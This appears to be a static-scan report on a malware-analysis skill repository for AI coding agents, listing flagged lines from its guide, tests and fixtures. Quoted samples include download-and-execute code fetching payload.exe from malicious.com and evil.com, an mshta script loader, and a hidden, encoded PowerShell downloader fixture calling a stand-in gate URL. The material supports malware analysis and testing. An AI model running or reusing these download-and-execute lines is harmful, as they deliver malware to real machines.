    live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"     assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x"
  • Network accessline 255
    assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
  • Network accessline 255
    assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
  • Network accessline 255
    assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
  • Network accessline 255
    assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
  • Network accessline 255
    assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
  • Network accessline 255
    assert live == "https://bad-tld.tk/x", "refang roundtrip failed"

specialized-file-analyzer/SKILL.md

  • Network accessline 34
    command -v 7z unzip olevba oledump.py pdfid.py pdf-parser.py ilspycmd js-beautify lnkinfo readelf upx exiftool   # olevba/oledump/XLM: pip install oletools        pdfid/pdf-parser: git clone https://github.com/DidierStevens/DidierStevensSui
  • Network accessline 35
    # olevba/oledump/XLM: pip install oletools        pdfid/pdf-parser: git clone https://github.com/DidierStevens/DidierStevensSuite
  • Network accessline 117
    **Download:** https://github.com/dnSpy/dnSpy
  • Network accessline 145
    // Download and execute WebClient wc = new WebClient(); wc.DownloadFile("http://malicious.com/payload.exe", "C:\\temp\\payload.exe");
  • Network accessline 146
    WebClient wc = new WebClient(); wc.DownloadFile("http://malicious.com/payload.exe", "C:\\temp\\payload.exe"); Process.Start("C:\\temp\\payload.exe");
  • Network accessline 147
    wc.DownloadFile("http://malicious.com/payload.exe", "C:\\temp\\payload.exe");
  • Possible obfuscationline 151
    byte[] decoded = Convert.FromBase64String(encodedPayload);
  • Network accessline 224
    git clone https://github.com/DidierStevens/DidierStevensSuite   # oledump.py, pdfid.py, pdf-parser.py, ...
  • Dangerous shell operationline 279
    Eval()
  • Network accessline 321
    # Extract with XLMMacroDeobfuscator git clone https://github.com/DissectMalware/XLMMacroDeobfuscator
  • Network accessline 322
    git clone https://github.com/DissectMalware/XLMMacroDeobfuscator
  • Network accessline 339
    # Look for: # <Relationship Type="http://schemas.../attachedTemplate"
  • Network accessline 340
    # <Relationship Type="http://schemas.../attachedTemplate"
  • Network accessline 341
    #              Target="http://malicious.com/template.dotm" TargetMode="External"/>
  • Possible obfuscationline 492
    [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
  • Network accessline 497
    $url = "ht" + "tp://" + "evil.com"
  • Possible obfuscationline 503
    $ms.Write([Convert]::FromBase64String($compressed), 0, $compressedLength)
  • Possible obfuscationline 519
    raw = base64.b64decode(m.group(0) + "=" * (-len(m.group(0)) % 4))
  • Possible obfuscationline 532
    python3 -c "import base64,gzip,sys,zlib; b=base64.b64decode(sys.argv[1]); print((gzip.decompress(b) if b[:2]==b'\x1f\x8b' else zlib.decompress(b,-15)).decode('utf-8','replace'))" '<blob>'
  • Network accessline 545
    git clone https://github.com/R3MRUM/PSDecode
  • Network accessline 596
    Dim url url = "hXXXtXXXtXXXpXXX:XXXXX//evil.com/payload.exe" url = Replace(url, "XXX", "")   ' = "http://evil.com/payload.exe"
  • Network accessline 598
    url = Replace(url, "XXX", "")   ' = "http://evil.com/payload.exe"
  • Dangerous shell operationline 677
    # Last resort, VM only: replace Eval()/Execute() with WScript.Echo() and run: cscript /nologo malicious_safe.vbs
  • Dangerous shell operationline 695
    eval(encodedCode);
  • Network accessline 774
    # Download from: https://ericzimmerman.github.io/
  • Possible obfuscationline 888
    [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("Base64StringHere"))
  • Network accessline 895
    Set xhr = CreateObject("MSXML2.XMLHTTP") xhr.Open "GET", "http://malicious[.]com/payload.exe", False
  • Network accessline 896
    xhr.Open "GET", "http://malicious[.]com/payload.exe", False
  • Network accessline 924
    mshta.exe javascript:a=(GetObject("script:http://malicious[.]com/payload.sct")).Exec();close();
  • Dangerous shell operationline 1001
    sudo mkdir /mnt/suspicious_iso
  • Dangerous shell operationline 1002
    sudo mount -o loop,ro suspicious.iso /mnt/suspicious_iso
  • Dangerous shell operationline 1015
    sudo umount /mnt/suspicious_iso
  • Dangerous shell operationline 1038
    sudo apt install qemu-utils
  • Dangerous shell operationline 1042
    sudo mount -o loop,ro suspicious_raw.img /mnt/vhd_mount/

tests/extract_rules.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tests/fixtures/scripts/malicious.ps1

  • Network accessline 1
    powershell.exe -nop -w hidden -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdQBwAGQAYQB0AGUALQBjAGQAbg
  • Possible obfuscationline 1
    powershell.exe -nop -w hidden -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdQBwAGQAYQB0AGUALQBjAGQAbg
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    $u = "ht"+"tp://update-cdn.example.test/gate.php"
  • Possible obfuscationline 3
    $b = [System.Convert]::FromBase64String("VGVzdEZpeHR1cmU=")

tests/fixtures/scripts/malicious.vbs

  • Executable scriptline 1
    Executable file

tests/make_pe.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 28
    ASCII_STRINGS = [     b"http://update-cdn.example.test/gate.php",
  • Network accessline 29
    b"http://update-cdn.example.test/gate.php",
  • Possible obfuscationline 91
    text = b"\x6a\x00\xff\x15" + struct.pack("<I", IMAGE_BASE + exit_iat) + b"\xcc" * 8
  • Possible obfuscationline 107
    stub = b"\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21This program cannot be run in DOS mode.\r\r\n$"

tests/run.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Possible obfuscationline 85
    raw = base64.b64decode(m.group(0) + "=" * (-len(m.group(0)) % 4))
  • Dangerous shell operationline 112
    rm -f tests/out/sigma_*.yml

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Declared and executed: 1 fact
Signal confidence: 244 facts

and 194 more

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativeManifest .claude-plugin/marketplace.json.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.